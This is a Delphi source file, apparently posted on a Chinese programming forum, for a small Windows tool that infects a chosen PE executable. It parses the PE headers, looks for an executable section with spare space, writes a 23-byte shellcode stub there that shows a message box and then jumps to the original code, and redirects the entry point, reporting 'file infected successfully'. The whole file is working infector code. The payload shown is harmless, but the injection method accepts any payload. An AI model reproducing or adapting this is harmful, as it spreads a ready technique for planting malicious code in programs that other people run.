[Delphi] 纯文本查看 复制代码
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Edit1: TEdit;
Button1: TButton;
Button2: TButton;
OpenDialog1: TOpenDialog;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
var
bCode: array[0..22] of Byte = (96, 106, 0, 106, 0, 106, 0, 106, 0, 184, 0, 0,
0, 0, 255, 208, 97, 104, 120, 86, 52, 18, 195);
procedure TForm1.Button1Click(Sender: TObject);
begin
if OpenDialog1.Execute then
Edit1.Text := OpenDialog1.FileName;
end;
procedure TForm1.Button2Click(Sender: TObject);
var
outFile: file;
iNtPoint: Integer; //NT头开始偏移
wCount: Word; //区块数目
wSize: Word;
iStart: Integer; //区块表开始偏移
i: Integer;
pOffset: Integer; //区块在文件中的偏移
iFlags: Cardinal; //区块的属性
iVSize: Integer; //区块在文件中实际使用的大小
iRSize: Integer; //区块在文件中对齐后的大小
pRVA: Integer; //区块在内存中的偏移
iEntry, iBase, dwEntryPoint: Cardinal;
begin
if not FileExists(Edit1.Text) then
begin
ShowMessage('请输入一个合法的文件路径!');
Exit;
end;
//校验文件是否存在
AssignFile(outFile, Edit1.Text);
Reset(outFile, 1); //以二进制方式读写文件
Seek(outFile, $3C);
BlockRead(outFile, iNtPoint, 4);
//读取NT头
Seek(outFile, iNtPoint + $6);
BlockRead(outFile, wCount, 2);
//读取区块数目
Seek(outFile, iNtPoint + $14);
BlockRead(outFile, wSize, 2);
Seek(outFile, iNtPoint + $28);
BlockRead(outFile, iEntry, 4);
Seek(outFile, iNtPoint + $34);
BlockRead(outFile, iBase, 4);
dwEntryPoint := iEntry + iBase;
CopyMemory(@bCode[18], @dwEntryPoint, 4);
iStart := wSize + $18 + iNtPoint;
{
我们构造这么一段代码
pushad
push 0
push 0
push 0
push 0
mov eax,MessageBoxA
call eax
popad
push EntryPoint
ret
}
for i := 0 to wCount - 1 do
begin
Seek(outFile, iStart + 40 * i + 36);
BlockRead(outFile, iFlags, 4);
//读取区段的属性
if (iFlags and $20000020) = $20000020 then //测试区段是否包含代码且可执行
begin
Seek(outFile, iStart + 40 * i + 12);
BlockRead(outFile, pRVA, 4); //读取区块在内存中的RVA地址
Seek(outFile, iStart + 40 * i + 16);
BlockRead(outFile, iRSize, 4); //读取在文件对齐后的尺寸
Seek(outFile, iStart + 40 * i + 20);
BlockRead(outFile, pOffset, 4); //读取在文件中的偏移
Seek(outFile, iStart + 40 * i + 8);
BlockRead(outFile, iVSize, 4); //读取实际使用的尺寸
if iRSize - iVSize >= 17 then //如果区块可用的数据长度大于我们的X码
begin
Seek(outFile, pOffset + iVSize);
BlockWrite(outFile, bCode, 23);
Seek(outFile, iNtPoint + $28);
iBase := pRVA + iVSize;
BlockWrite(outFile, iBase, 4);
//修改入口点
Seek(outFile, iStart + 40 * i + 8);
iBase := iVSize + 23;
BlockWrite(outFile, iBase, 4);
CloseFile(outFile);
ShowMessage('成功感染文件!');
Exit;
end;
end;
end;
CloseFile(outFile);
ShowMessage('感染失败!可能是文件设置了只读或者没有足够的空间!');
end;
procedure TForm1.FormCreate(Sender: TObject);
var
dwMessageBox: Cardinal;
begin
dwMessageBox := Cardinal(GetProcAddress(GetModuleHandle('user32.dll'),
'MessageBoxA'));
CopyMemory(@bCode[10], @dwMessageBox, 4);
end;
end.